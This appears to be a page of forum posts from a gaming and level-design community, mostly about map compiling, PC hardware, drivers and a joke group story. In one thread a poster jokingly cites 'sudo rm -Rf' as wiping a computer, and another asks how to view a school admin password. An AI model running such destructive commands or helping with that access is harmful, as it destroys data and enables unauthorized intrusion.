But i couldn't get the the "confusing stuff" show up, when i double click it it just go back into the notepad editing bit
plz help me!!!!

In FFD Show!??? by SRAW:
koolkid said:
SRAW said:
Down Rodeo said:
eDan Co. said:
Havokk Edge said:
SRAW said:
It's called "the power of Adobe products" (since Havokk seems to have nothing to do with his life).

I find it sightly amusing Havokk doesn't know what a codec is. I recommend the DivX codec. Here's the site: DivX.

I'm sorry, SRAW, but I'm not a little kid that everyone hates because he is a computer nerd and has nothing else to do with his life. I take offence at that... it's not exactly difficult.

Fixed... and... BURN!

Wow, that was double DR.

Original and best, thank you.

I've made a few stylistic changes this time; some things weren't wrong per se but were a bit clunky.


i dont care, quote truck!
let me join the fun



fuck edan

In I got a Trojan -_- by eDan Co.:
But your computer gives you access to internet porn. How can it suck ba-- Oh, I see now.

In I got a Trojan -_- by SolidKAYOS:
Yes i agree my computer sucks balls.But it works.

I havent got a threat in a few days so i guessing they went away...but we will have to see.

In I got a Trojan -_- by xXJigsaw23Xx:
Im just saying this now Havokk....YOUR COMPUTER SUCKS!!!!

In Mi Gateway scores by SolidKAYOS:
She has a computer too.Is her form of TV nowadays.

In FFD Show!??? by koolkid:
SRAW said:
Down Rodeo said:
eDan Co. said:
Havokk Edge said:
SRAW said:
It's called "the power of Adobe products" (since Havokk seems to have nothing to do with his life).

I find it sightly amusing Havokk doesn't know what a codec is. I recommend the DivX codec. Here's the site: DivX.

I'm sorry, SRAW, but I'm not a little kid that everyone hates because he is a computer nerd and has nothing else to do with his life. I take offence at that... it's not exactly difficult.

Fixed... and... BURN!

Wow, that was double DR.

Original and best, thank you.

I've made a few stylistic changes this time; some things weren't wrong per se but were a bit clunky.


i dont care, quote truck!
let me join the fun


In FFD Show!??? by SRAW:
Down Rodeo said:
eDan Co. said:
Havokk Edge said:
SRAW said:
It's called "the power of Adobe products" (since Havokk seems to have nothing to do with his life).

I find it sightly amusing Havokk doesn't know what a codec is. I recommend the DivX codec. Here's the site: DivX.

I'm sorry, SRAW, but I'm not a little kid that everyone hates because he is a computer nerd and has nothing else to do with his life. I take offence at that... it's not exactly difficult.

Fixed... and... BURN!

Wow, that was double DR.

Original and best, thank you.

I've made a few stylistic changes this time; some things weren't wrong per se but were a bit clunky.


i dont care, quote truck!

In FFD Show!??? by Down Rodeo:
Edan McManus said:
Havoc Edge (what would that even mean?) said:
SRAW's MAW said:
It's called "the power of Adobe products" (since Havokk seems to have nothing to do with his life).

I find it sightly amusing Havokk doesn't know what a codec is. I recommend the DivX codec. Here's the site: DivX.

I'm sorry, SRAW, but I'm not a little kid that everyone hates because he is a computer nerd and has nothing else to do with his life. I take offence at that... it's not exactly difficult.

Fixed... and... BURN!

Wow, that was double DR.

Original and best, thank you.

I've made a few stylistic changes this time; some things weren't wrong per se but were a bit clunky.

In FFD Show!??? by eDan Co.:
Havokk Edge said:
SRAW said:
its called the power of adobe products (since havokk seems to have nothing to do with his life)

and i find it kind of amusing havokk doesnt know what a coder decoder is

and i recommend u get divx codec

heres the site www.divX.com/products/free/codec.exe.html


I'm sorry, SRAW, but I'm not a little kid that everyone hates 'cause hes a computer nerd and has nothing else to do with his life.


Fixed... and... BURN!

Wow, that was double DR.

In FFD Show!??? by SolidKAYOS:
SRAW said:
its called the power of adobe products (since havokk seems to have nothing to do with his life)

and i find it kind of amusing havokk doesnt know what a coder decoder is

and i recommend u get divx codec

heres the site www.divX.com/products/free/codec.exe.html


I'm sorry SRAW but im not a little kid everyone hates cause hes a computer nerd and has nothing els to do with his life.

In I got a Trojan -_- by NatureJay:
Try rebooting in safe mode, then running something like Malwarebytes or a general system scanner in tandem with one of those basic removal programs. Even if it persists, you should get an idea of what it is you're dealing with and where you'd need to go from there.

That helped me when I was trying to remove a trojan on my computer. Aaeojer (I was trying to type aaronjer, i swear) wanted to come over and reformat the whole machine and put his own batch of XP on but I managed to fix it on my own within a few days. I'm stubborn that way.

In I got a Trojan -_- by SolidKAYOS:
aaronjer said:
It takes a considerable amount of technical skill with computers to actually remove a competent virus. If you don't know what you're doing and you can't afford to pay someone who does, your only real option is to reformat as Down Rodeo said. It's entirely possible that it's an incompetent virus, however... and could be removed with little effort just by using the correct program.


I'll ask David from school...hes a computer nerd..and he can hack "supposedly"

In I got a Trojan -_- by SolidKAYOS:
and its pissing me off.

any computer nerds wanna gimme some help?

My AVg keeps telling me its a threat and i keep clicking remove but it keeps saying it cant find it.

Just every few minuets an anti virus site comes up and says i'm infected!!!! HO HO HO GIMME MUNNY IT"LL ALL GO AWAY!!! HA IM LIEING!!! NOM NOM NOM!

I just click cancel and go on with my life....but its annoying....as hell....

In entity creation tool by Mate de Vita:
Persia said:
stuff/bullshit

What the hell? Where did you find this?

It should say:
If you're on nonsteam:

@echo off
hlcsg -nowadtextures mapname
hlbsp mapname
hlvis mapname
hlrad mapname
copy mapname.bsp "C:\half-life\cstrike\maps"
cd C:\half-life
pause
hl -dev -console -game cstrike +sv_cheats 1 +map mapname


"C:\half-life" may not be the correct location of Half-Life on your computer. Make sure you type the correct location on both the lines where it says that.

or if you're using steam:

@echo off
hlcsg -nowadtextures mapname
hlbsp mapname
hlvis mapname
hlrad mapname
copy mapname.bsp "C:\Steam\SteamApps\EMAIL\counter-strike\cstrike\maps"
pause
"C:\Steam\Steam.exe" -applaunch 10 -dev +sv_cheats 1 +map mapname


"C:\Steam" may not be the correct location of Steam on your computer. Make sure you type the correct location on both the lines where it says that. Also replace "EMAIL" with your account name. And if you do not have a "maps" folder, create one.



IMPORTANT: change mapname into the name of your .map file.

Oh and are you sure this is your bat file not your log or something?

In Newbie - Trying to do the basics Help me - My ZHTL file went? by Mate de Vita:
god freakin windows vista...
wait I'll be right back on my xp computer.

In some very noobish questions by Mate de Vita:
newbie said:
Ok my bad :D

have u tried it out?

nope, the computer on which I have VHE isn't working. Right now my dad is fixing it When it works I'll try it out.

however
newbie said:
I don't think you can make it so the elevator doesn't stop on the second floor because one path_corner can't have two "nextstop" and that's what you needed to get it to work

You have a point here. Because of this I don't know how I can make one button make the elevator go up and the other one to make it go down (on the second floor).

Do you think I could use the func_trackautochange for that?

In Compiling by Danemj3:
eDan Co. said:
I had a map that took close to 12 hours to compile. It really depends on what you're compiling and on your computer. I also had a reasonably-sized map that took 3 minutes to compile.


i see.. and if one day this map were to be played publically does the compiling time = the download time for users on a server?

also.. what are any tips to cut compiling time?

In Compiling by eDan Co.:
I had a map that took close to 12 hours to compile. It really depends on what you're compiling and on your computer. I also had a reasonably-sized map that took 3 minutes to compile.

In L4D by adhesive:
sell your xbox and buy new computer parts.

In L4D by SolidKAYOS:
aaronjer said:
AND GOD DAMMIT HAVOKK! Stop playing the shitty console version of FPSs! It completely ruins the fun of it! Get the real version before I have to rape you!


1.My computer will probably never be able to run them anyways.(At least my graphics card)

2.Id like to see you c0ome down here.You seem to forget i live in Tennessee...we are rednecks....
==============

Honestly i don't give a shit who made it.But before the game starts and their logos come up....that's implying to me that they made it someway,powers it,sponsors it .etc Cause they all are getting a split of my $60+.

In bugg? :s by nubbcake:
Well, i do... allways done it... but it was an bugg, rebooted computer and it worked

In driver problem by Mate de Vita:
so... I have an ATI Rage 128 PRO card (yes I know it sucks, but unfortunately I can't put another one in unless I buy a new computer - long story). Anyway I recently reinstalled Windows XP Professional on my computer and of course the latest driver for the video card that I had installed was deleted.
Now I went to this site and went under Windows XP Professional/Home -> Legacy (Discontinued) -> Rage 128/Rage 128 PRO, downloaded the driver and tried to install it, but it said that it was not compatible (I'm not sure whether it meant with my windows or with my graphic card).
I hadn't had that problem the previous time I downloaded the driver (before I reinstalled windows).

Does anyone have a solution?

In L4D by aaronjer:
I'm probably never going to get the "leave safe house and save somebody" one... because I never go into the safe house until everyone is already safe or dead.

Oh... and adhesive/havokk. Valve ALSO didn't make L4D. The Turtlerock made the L4D. Valve just bought them.

Oh, and in Versus mode... even when all 4 people gang up the tank usually offs a couple people. Because you as the player can have the intelligence to wait just around the corner for some poor bastard to wander into your loving meat hammers. Tanks also tend to switch targets a lot when they're computer controlled, making them much less dangerous.

AND GOD DAMMIT HAVOKK! Stop playing the shitty console version of FPSs! It completely ruins the fun of it! Get the real version before I have to rape you!

In usb ports by aaronjer:
Did you drop you computer while something was plugged into them and bend them out of shape? I did that one time.

In usb ports by Down Rodeo:
That's kind of vague. Are they still listed in My Computer? Are they listed in the BIOS? Are they still connected to the motherboard?

In How to? by Mate de Vita:
Mate de Vita said:
I'll answer the 2nd question if I manage to get to the computer on which I have VHE installed.

ok, or maybe I won't cuz eDan is 2 fast 4 me.

In How to? by Mate de Vita:
zzz1123 said:
How to make vehicles?
How to make see through unbreakable glass walls?
How to make elevators?
Killer-Duck will most likely answer these>.<

Elevators - check my topic Some noobish questions, last two pages.
I have no idea about vehicles.
I'll answer the 2nd question if I manage to get to the computer on which I have VHE installed.

In HOLY FUCKING MUSHROOMS BATMAN by CornJer:
http://files.filefront.com/dans+snpcsrar/;12372191;/fileinfo.html

Link to beta version of addon.

EDIT:
Down Rodeo said:
CornJer said:
I wrote it from scratch

You didn't mention this, I am now more impressed. In fact, much more. I'll check the thread soon (no offence but I am always wary of going near facepunch).

It's actually not that bad, just don't go to the OIFYinternet Section unless you want the same shit from 4chan. I've been going there for a while, and though they ban real easily, if you keep your cool and act mature, you'll come out alright.

Down Rodeo said:
Also the computer it's running on isn't fantastic.

It's not the fastest but it runs gmod at least.

In HOLY FUCKING MUSHROOMS BATMAN by Down Rodeo:
Doom creatures in Gmod? I can't say I'm that impressed. Just create a copy of the Antlion and give it the Doom thing's body. Or, write your own. Also the computer it's running on isn't fantastic.

In Fallout 3 by Roam:
Bethesda just released their latest game, Fallout 3, for both PC and PlayStation 3/Xbox 360.

Has anybody played this game? What do you think...?


On a sidenote, Bethesda chose Istvan Pely as the lead artist/technical lead for Fallout 3!

Mr. Pely himself was a wonderful game-maker prior to turning to just computer graphics,he made leading technical contributions in the field. His two games Zero Critical and Symbiocom were also published by Bethesda.

Fallout3 was in development for 4 1/2 years.

In SJ Music by Down Rodeo:
I hope you haven't listened to any, because every tune deducts a fairly large amount of money from the last card used for an online transaction on the computer you listen to the music on. Just like how for every post you make on this forum your account is charged for a minimal amount of money, building up to rather nice sums.
Shit you mean GarageBand! Be more specific with your pronouns please!

Also, I had a listen. Rather good. I like Widowmaker.

In Counter-Strike cheater :P not inportant by jrkookid:
he must be like WTF MY FUCKING COMPUTER GODDAMMIT~!!!!@!!

In flashlight by Down Rodeo:
Masta Frank said:
is there anyway to get a source like flashlight into cs 1.6?

No. In fact, why not play CS:S? Or even better, play TF2 or L4D? (I likes my abbreviations I do).

OK, grudging explanation... In the original Half-Life engine lights are calculated in a very simple manner (GoldSrc is hardly CryEngine2). The polygons the light falls on are made to reflect a lot of light (really their colour is changed to one close to white, ish). In Source (technically the Episode One incarnation) the light is done differently, I can't remember exactly how. Might be... Umm... Yeah, there's a bit more ambient lighting added in through the use of clever shaders *handwave*. In the Episode Two engine you get dynamic shadows! It's sexy. Which is worrying in zombie games.

Hilariously, in F.E.A.R. the flashlight is just a texture applied to the entire screen, lighting the pixels it falls over. Or at least, that's how it seems to be done. For a game with such good lighting otherwise it's a little disappointing.

Havokk Edge said:
flashlight said:
flashlight flashlight flashlight flashlight flashlight flashlight flashlight?

This is all I have to say.

Havokk Edge said:
1.Wrong place punta.

So where would you put it? This forum is filled with people biting the new posters because they post something in the "wrong" section, just because there happens to be one called Computer & Video Games. If it is called that. Whatever. My point is, you suck.

In infinate hp + timer by Killer-Duck:
I think i found the timecounter.zip on my other computer: http://www.speedyshare.com/905536303.html

The .rmf also shows how to give more than 100 hp to a player.

In A map that's similar to fun_allinone by bandora:
Ur right it should be in computer/video games section.. sorry

In A map that's similar to fun_allinone by aaronjer:
Wouldn't this belong more in the hammer section? Or at least the computer/video games section? Not that I really care...

In Fps problem... by Down Rodeo:
Actually on my flatmate's computer we can average about 50-odd. If you get a really up-to-date machine you can easily hit 150.

In How do you convert a .swf file to a .fla file? by molkman:
I dont have the program on this computer here anymore.

In HLCSG problem, can't find .wad by Supz:
Hello dear people inside of my computer :P

Well, i have this problem - when i compile i get this error in first.err

hlcsg: Error: Could not open wad file \program files\valve\cstrike\cstrike.wad

hlcsg: Error: Could not find WAD file
Description: The compile tools could not locate a wad file that the map was referencing.
Howto Fix: Make sure the wad's listed in the level editor actually all exist


the cstrike.wad file exists, and it exists in C:\Program Files\Valve\cstrike\cstrike.wad

My .bat-file looks like this:
@echo off
hlcsg -nowadtextures first
hlbsp first
hlvis first
hlrad first
copy first.bsp "C:\Program Files\Valve\cstrike\maps"
cd C:\Program Files\Valve
pause
hl -dev -console -game cstrike +sv_cheats 1 +map first


Help is greatly appreciated.

Thank you (:

In power button and peer to peer by Masta Frank:
oh yeah and by the way someone told me that a normal non laptop computer can't use the peer to peer connection that's on my laptop

In power button and peer to peer by Down Rodeo:
There's a setting somewhere that says what happens when you press the power button. I can't remember where but it is somewhere.

There are a few options for connecting to another computer. Best to look up all your options.

In power button and peer to peer by Masta Frank:
hey i was just wondering about two things
1. is their some way of stop a computer from shutting down. likw a overide or something because everyonce in a while some dumbass thinks it would be funny to push the power button on my laptop. oh yeah and i already know about if you have a ducument up.

the other is i have a peer to peer connection on my laptop and i was wondering if their was some way to connect to my home computer. (not the laptop i have)

In How do you convert a .swf file to a .fla file? by zzz1123:
molkman said:
Well, then your computer is a wiener. It worked fine for me and even with rather big swf files.

What version is your SoThink?

Can it import a .swf file that is around 10 KB?

In How do you convert a .swf file to a .fla file? by molkman:
Well, then your computer is a wiener. It worked fine for me and even with rather big swf files.

In problem with extensions.....help!!! by Down Rodeo:
This is your own computer right? Do you have mad admin powers?

In Error with compiling wtf meaningless by Mssa:
im using xp thanks i did it
and i used a bit my computer skills

In I hate you all by Down Rodeo:
kookid this is pissing me off, I have decided that I am going to find the temporary file that represents your avatar on my computer and edit it to be of sensible size

In THIS is not for any educational purpose at all (really random) by Down Rodeo:
help lists all the commands available. There's not a whole lot of fun stuff you can do with Windows... this is why bash wins. The command sudo rm -Rf recursively deletes every file and folder on the computer it is operated upon. Another funny one is cding to the source tree for the Linux kernel then doing cat *.c | grep fuck to see how often the word 'fuck' is used in the Linux sources (it has grown massively over the past couple of years, there are people who check these kinds of things).

In THIS is not for any educational purpose at all (really random) by Masta Frank:
THIS is not for any educational purpose at all
(hack pages usually say for edu. purposes only)

i got ms-dos to work on my schools computer but i forgot how to view the admin password.
i used to know any suggestions

oh yeah and by the way if anyone even gives a shit i have this really annoy person that i know and he thinks that he knows everything about computers. just because he figured out how to make a folder with no name and in blends in with the background and anya=ways any suggestions on how to show him up?

In Help!! compile by Masta Frank:
no it just crashes on every computer. no compiler screen.

In Help!! compile by Masta Frank:
i don't really care to much about compiling it with hammer. i've been working on many maps and i have 4-5 maps that need to be compiled, but something isn't working. another thing is today i tried to compile maps on 3 different computers and everytime I got the same problem. is it a virus or something. any ideas on why this is happening. i can understand one computer not having enough ram but 3 and last year it compiled perfectly. the only weird thing is over the summer the program shut down weird once and then it never worked right again. i've tried redownloading it but it doesn't work.

In Help!! compile by Masta Frank:
if the comiler screen is turned off then how do you turn it back on and how do you turn up the ram. My laptop used to be able to run it and my home computer could to but now they don't. i've tried using the zoners compiler tools,but they say something about a missing log

In animated graphics by Down Rodeo:
I'd suggest a GIF image but I don't know if GldSrc supports them.

One way to make the map less likely to crash would be to reduce the number of triggers and make it smaller! Kidding, seriously, unless people playing it are using Godawful computers from 7 years ago they should run it fine. Hell even CS:S runs fantastically on my moderately-decent computer upstairs at full settings, and this is with a quick upgrade (still not received that fucking processor, have just e-mailed about it )

In Why default things not coming? by Killer-Duck:
You could also make one out of bruses(won't look as good though), just create a brush and cover it with some computer-like textures, there are some decent animating, computer-looking textures in halflife.wad.

In Why default things not coming? by SRAW:
to add a model, make a cycler entity
in filepath put models/computer1.mdl or something

or

if u want a computer, juz make one out of brushes

In ARGH WINDOWS by Down Rodeo:
This is brilliant. To cut a fairly long story short my computer (running XP) has once again managed to delete the drivers for the Belkin wireless dongle we have. I mean, how the fuck? I even did System Restore to the 27th, this is before I installed the new graphics card and its software (this is the most major change to have happened in recent times; TF2 looks sexy now, I'm pretty damn happy) yet it still complains despite undeleting everything I spent the last half-hour patiently deleting (specifically several unused programs and some folders on C:\. You know the ones it leaves lying around after it updates? The ones with the silly 32-character-string names? I had to boot into safe mode go on the admin account and change the owner, then delete them.) Of course after all this nonsense with the WiFi it is all installed again and the relevant folders are back! Excellent!

In Xbox Live Game by SOGRURR:
I didn't play it for a week, cause i was grounded..
And after my grounding I went to go play it started up but the menu was a f'ed up.
So turned it off and inserted a game and then started it hoping that it would start up the game, but instead the menu popped up, this time it was all fine so i went to the play game button on the menu and it said eject. I got really pissed off..so I took out the game and turned off the system. And went to play some computer. After an hour I came back and tried to play on it again. And then it just didn't turn on. I checked all the cords they were all plugged in.
So as soon as the PS3 80GB came out my dad bought it.

In need help making stairs by SOGRURR:
Hopefully soon I can get on the computer with hammer editor on so i could take some screen shots for you.
But also if Down, eDan, Killer Duck, or even SRAW should see this hopefully they could help.

In Look how much ram i got by aaronjer:
Alienware doesn't make a computer good, it makes a computer expensive. It's the same thing as buying a mac. Same parts, massive price increase and special logo.

In Ilor publicly demanding the Aaronjer's attention! by aaronjer:
I think I still have an 2.6 Ghz AM2 dual-core processor laying around somewhere. I don't have a motherboard for it, but you can get AM2 motherboards for $20. That would probably make the rest of the computer potentially more expensive, though. You'd need newer ram, and would have no choice but to get a PCI-E graphics card. However, I'm planning on buying an 8800 GT soon, so you could have my old 8800 GTS.

In Ilor publicly demanding the Aaronjer's attention! by Down Rodeo:
I just upgraded (or am in the process of upgrading, some stuff hasn't arrived yet) my parents' computer to make it a bit more gameworthy and it only cost me about $200, if that's the currency you work in. And this is for one that is roughly three years old.

In Look how much ram i got by begginer:
man i know someone who has 400 Gb ram .. its some kind of super computer its really BIG , its 5 times as big my PC.
i only have 6 Gb

In f9 Compiling problem? by SRAW:
how about my computer only 256mb of ram:(
win xp:(

so it shouldnt take long for some1 with 2gb ram

In f9 Compiling problem? by kaka:
I don't really know where to check my computer speed and stuff like that... 8/

In f9 Compiling problem? by kaka:
Last time I checked for the "leaf thread" was around 17000 seconds.. Which is around 15-20 hours for my map...... My computer is fairly NEW.

Window's VISTA
Model: m8020,
Rating: 3.4
Processor: Intel(r) Core (tm) 2 cpy
Memory(ram): 2 gb
Nvidia 7500 Graphic card.... around there

In f9 Compiling problem? by Down Rodeo:
How old is your computer? If you post your system specifications (fairly briefly please) it's give us a better idea.

Thing is, it will take a hell of a long time to compile anyway. Ten hours sounds a bit excessive though.

In Look how much ram i got by UberJer:
It says 2038 GB, which I'm sure is either a photoshop job or a computer error, seeing as you can't feasibly have that many RAM slots on a mobo. I've got 4GB, just for the record.

In Look how much ram i got by SRAW:
from wat it said i could read 2028mb of ram

WHICH IS LESS THAN 2 GIGS HAHA

2gigabytes r 2048mbs

SO UR LESS THAN DOWN RODEA STUPID KID!!

btw i only have 256mb of ram:(
and my graphic card is a geforce mx 200:(
and my driver is mx 400:(

my storage is about 70gb
im using all the swapfile disk thing:(

so my computer sux:(


In Story by the fucked up minds of the Superjer Comunnity by SRAW:
Once a pawn a time, Jig Saw was on the Interwets and he done got a virus!

The virus re-ordered his filesystem and put oyster sauce on his keyboard so now matter how smart Jig Saw tried to sound it come out dumb and stinky.

But Jig Saw had a plan. If he could get the community behind it, he and the others could create a story so powerful and emotionally draining, it could kill the virus.

So Jig Saw went to the SuperJer Forum and put his letters and punctuation in a box and clicked "Hope."

Unfortunatly they refuse to help him.

Being So Bitterly Rejected he loses all hope and is about to give up.Then he got an Idea ...mabye if he could get a conversation going that was interesting and unquie there might still be a chance!


The next few minutes Jrkookid start getting the story on and he said this firetruck is a waste of time! but Jig Saw knew that he left the refrigerator freezer open and now he is about to catch a cold! and yet Jig Saw refuses to give up!

Barely able to sit up on Jigsaw goes endlessly typing. Hoping that mabye somehow he just might be able to reliquish the virus once and for all,But the virus seems to have a mind of its own.It throws pop-up and irrefusable offers but some how jigsaw manages to on!

And yet Jig Saw just happen to notice that there was a McDonalds right across the street! But when he enters the door he accidently got hit in the head with a soccer ball! And his memory has been lost! O NOEZ!!!! Then God knew that the only way for Jig Saw was to get back his memory and defeat the virus was to once again call in Havokk Edge , Jrkookid , Edan , Down Rodeo's help forming the SUPER AWESOME HEROIC BLAZEST IMMORTAL GALACTIC CONQUEST TEAM!!!!


Somehow Jigsaw finds his way home he explores it for awhile.Looking around he starts to remember a lil bit,but nothing of his quest to destroy the virus.Eventually he stumbles into the computer room and sees the computer.He gets on and pulls up the internet.Somehow Superjer.com was his homepage and Everything returned...HE REMEMBERED EVERYTHING,BUT before he could start back he suddenly just Blacked Out....

An hour later Jig Saw woke up.He saw a man with a purple furry suit and a cane. Then the man said
Quote:
I am Master Pimp Havokk. I am here to help you!
They went to a limo and Havokk said. Lets go to Dakookid's House. Jig Saw's memory was coming back slightly. Moments later they arrived to a mansion with a highly advanced security system. A voice says
Quote:
Who's There?
Havokk says
Quote:
It's me Havokk and with me is Jig Saw.
The voice replies
Quote:
Excellent
Then a door appears out of no where.


Havokk n Jig Saw enters through the door. Jig Saw a familiar face. He said. Hey there Jig Saw its me Jrkookid , a Spartan-II warrior from the distant future. Come with me to the Arsenal. There lies a section which has a red headband, a red suit, Some boots and a longsword. The encryption said "Vincent Valentine". Jig Saw puts on the armor and his entire memory comes back to him! The virus is no ordinary virus! It is an evil spirit which is trapped in his computer! The spirit's true form is very devastating. Jrkookid , Havokk , Edan , Down Rodeo and Jig Saw fought in a great war with this monster for hundreds of years!!! And now Jig Saw said " Lets Finish the Fight! "

So they suited up a walked up o the giant computer.Jigsaw went to the keyboard and typed something on the keyboard and pressed ENTER.then they were forcfully sucked into the computer.After they all arrived they started to thnk of thier next move.So they uploaded a cmpfire ad tent and sat around it.they though sinc it had been such a long day they would rest and continue tomarrow.As the sun sat they sat around the fire catching up with thier friens they hadnt seen in awhile.

The day final came for the final battle.for the battle had been brought to them.As they were all leaving the tent a army of small virus lined the horizon.Havokk lifted up his sword and gave a battle cry :"CRY HAVOKK!"everyones but Jig saw charged in with bullets and blades as Jigsaw stared down his most thoughtful enemy.The Virus itself.It stood on a hilltop on a crotch rocket and charged down at Jig Saw.

The battle took outside the computer and into another dimension where the great war was held. Havokk killed about 107 soldiers already I , Dakookid , Killed bout 112 soldiers with my sniper rifle while Jig Saw had a sword battle with "Supremus Omegas" AKA the virus. Our army was decreasing by 5% day after day. About 5 days later we called in a 1 Hour worth of Air STrikes to cover us while we are retreating. Now we must setup a battle plan!

so we upload an undergrond hideout and another fire.while resting Havokk gives Jigsaw his guns.He tells him that he left them at the camp be4 the fight and to not forget them next time.Jigsaw takes them shines them and loads them.He points one at Havokk and shoots him in the foot to release all the anger that he built up that day so he wouldnt go off.Then he puts them in his holister and goes off to bed

He wakes up. And sees everyone standing there.
Naked.
AND THEN EVERYONE HAD SEX. LOTS AND LOTS OF SEX. BUTT SEX, STRAPON SEX, EVEN ORAL SEX (zomg)
And then everyone instantly died from implosion, due to an overexposure to System of a Down.

But then suddenly System of a Down broke up, and aliens decide to take over the world.
Only a few ppl survive, but SRAW leads the human resistance.
This is better known as the 6hour war and half life 2


In Story by the fucked up minds of the Superjer Comunnity by CornJer:
Once a pawn a time, Jig Saw was on the Interwets and he done got a virus!

The virus re-ordered his filesystem and put oyster sauce on his keyboard so now matter how smart Jig Saw tried to sound it come out dumb and stinky.

But Jig Saw had a plan. If he could get the community behind it, he and the others could create a story so powerful and emotionally draining, it could kill the virus.

So Jig Saw went to the SuperJer Forum and put his letters and punctuation in a box and clicked "Hope."

Unfortunatly they refuse to help him.

Being So Bitterly Rejected he loses all hope and is about to give up.Then he got an Idea ...mabye if he could get a conversation going that was interesting and unquie there might still be a chance!


The next few minutes Jrkookid start getting the story on and he said this firetruck is a waste of time! but Jig Saw knew that he left the refrigerator freezer open and now he is about to catch a cold! and yet Jig Saw refuses to give up!

Barely able to sit up on Jigsaw goes endlessly typing. Hoping that mabye somehow he just might be able to reliquish the virus once and for all,But the virus seems to have a mind of its own.It throws pop-up and irrefusable offers but some how jigsaw manages to on!

And yet Jig Saw just happen to notice that there was a McDonalds right across the street! But when he enters the door he accidently got hit in the head with a soccer ball! And his memory has been lost! O NOEZ!!!! Then God knew that the only way for Jig Saw was to get back his memory and defeat the virus was to once again call in Havokk Edge , Jrkookid , Edan , Down Rodeo's help forming the SUPER AWESOME HEROIC BLAZEST IMMORTAL GALACTIC CONQUEST TEAM!!!!


Somehow Jigsaw finds his way home he explores it for awhile.Looking around he starts to remember a lil bit,but nothing of his quest to destroy the virus.Eventually he stumbles into the computer room and sees the computer.He gets on and pulls up the internet.Somehow Superjer.com was his homepage and Everything returned...HE REMEMBERED EVERYTHING,BUT before he could start back he suddenly just Blacked Out....

An hour later Jig Saw woke up.He saw a man with a purple furry suit and a cane. Then the man said
Quote:
I am Master Pimp Havokk. I am here to help you!
They went to a limo and Havokk said. Lets go to Dakookid's House. Jig Saw's memory was coming back slightly. Moments later they arrived to a mansion with a highly advanced security system. A voice says
Quote:
Who's There?
Havokk says
Quote:
It's me Havokk and with me is Jig Saw.
The voice replies
Quote:
Excellent
Then a door appears out of no where.


Havokk n Jig Saw enters through the door. Jig Saw a familiar face. He said. Hey there Jig Saw its me Jrkookid , a Spartan-II warrior from the distant future. Come with me to the Arsenal. There lies a section which has a red headband, a red suit, Some boots and a longsword. The encryption said "Vincent Valentine". Jig Saw puts on the armor and his entire memory comes back to him! The virus is no ordinary virus! It is an evil spirit which is trapped in his computer! The spirit's true form is very devastating. Jrkookid , Havokk , Edan , Down Rodeo and Jig Saw fought in a great war with this monster for hundreds of years!!! And now Jig Saw said " Lets Finish the Fight! "

So they suited up a walked up o the giant computer.Jigsaw went to the keyboard and typed something on the keyboard and pressed ENTER.then they were forcfully sucked into the computer.After they all arrived they started to thnk of thier next move.So they uploaded a cmpfire ad tent and sat around it.they though sinc it had been such a long day they would rest and continue tomarrow.As the sun sat they sat around the fire catching up with thier friens they hadnt seen in awhile.

The day final came for the final battle.for the battle had been brought to them.As they were all leaving the tent a army of small virus lined the horizon.Havokk lifted up his sword and gave a battle cry :"CRY HAVOKK!"everyones but Jig saw charged in with bullets and blades as Jigsaw stared down his most thoughtful enemy.The Virus itself.It stood on a hilltop on a crotch rocket and charged down at Jig Saw.

The battle took outside the computer and into another dimension where the great war was held. Havokk killed about 107 soldiers already I , Dakookid , Killed bout 112 soldiers with my sniper rifle while Jig Saw had a sword battle with "Supremus Omegas" AKA the virus. Our army was decreasing by 5% day after day. About 5 days later we called in a 1 Hour worth of Air STrikes to cover us while we are retreating. Now we must setup a battle plan!

so we upload an undergrond hideout and another fire.while resting Havokk gives Jigsaw his guns.He tells him that he left them at the camp be4 the fight and to not forget them next time.Jigsaw takes them shines them and loads them.He points one at Havokk and shoots him in the foot to release all the anger that he built up that day so he wouldnt go off.Then he puts them in his holister and goes off to bed

He wakes up. And sees everyone standing there.
Naked.
AND THEN EVERYONE HAD SEX. LOTS AND LOTS OF SEX. BUTT SEX, STRAPON SEX, EVEN ORAL SEX (zomg)
And then everyone instantly died from implosion, due to an overexposure to System of a Down.

In Freeze by seanmac:
Have you tried running your cs in regular multiplayer mode?

mayby there is soemthing wrong with the game, but your maps are compiling fine your computer just cant handle them

In Havokk Flashin Countdown by SolidKAYOS:
Thing is mines hardly downloading cause no ones seeding it.I left my computer on all night and it didn't go no higher.

In hey people are u a hacker?!!?!?!?!??! by DJchul3l3y:
the_cloud_system said:
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<center><b>Level 2</b></center><br />Network Security Sam set up a password protection script. He made it load the real password from an unencrypted text file and compare it to the password the user enters. However, he neglected to upload the password file...<br /><br /><center><b>Password:</b /><br />

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if u want to figur this out on ur own be my gest but dont scrol down if














.............just press submit he neglected to upload the password file... so theres no password


Made no sense

Quote:
That will shutdown his computer in 120 seconds.Unless hes smart enough to know how to stop it.


LOL @ AT

In hey people are u a hacker?!!?!?!?!??! by SolidKAYOS:
That will shutdown his computer in 120 seconds.Unless hes smart enough to know how to stop it.

In hey people are u a hacker?!!?!?!?!??! by SolidKAYOS:
So....I gatta know fucking HTML to hack?


EDIT: Hehe beat Basic 1 so far.Whats looking at the HTML of the page gatta do with hacking?


Basic 2...... What am i looking for?I don't get it.


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<center><b>Level 2</b></center><br />Network Security Sam set up a password protection script. He made it load the real password from an unencrypted text file and compare it to the password the user enters. However, he neglected to upload the password file...<br /><br /><center><b>Password:</b /><br />

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In Story by the fucked up minds of the Superjer Comunnity by xXJigsaw23Xx:
Once a pawn a time, Jig Saw was on the Interwets and he done got a virus!

The virus re-ordered his filesystem and put oyster sauce on his keyboard so now matter how smart Jig Saw tried to sound it come out dumb and stinky.

But Jig Saw had a plan. If he could get the community behind it, he and the others could create a story so powerful and emotionally draining, it could kill the virus.

So Jig Saw went to the SuperJer Forum and put his letters and punctuation in a box and clicked "Hope."

Unfortunatly they refuse to help him.

Being So Bitterly Rejected he loses all hope and is about to give up.Then he got an Idea ...mabye if he could get a conversation going that was interesting and unquie there might still be a chance!


The next few minutes Jrkookid start getting the story on and he said this firetruck is a waste of time! but Jig Saw knew that he left the refrigerator freezer open and now he is about to catch a cold! and yet Jig Saw refuses to give up!

Barely able to sit up on Jigsaw goes endlessly typing. Hoping that mabye somehow he just might be able to reliquish the virus once and for all,But the virus seems to have a mind of its own.It throws pop-up and irrefusable offers but some how jigsaw manages to on!

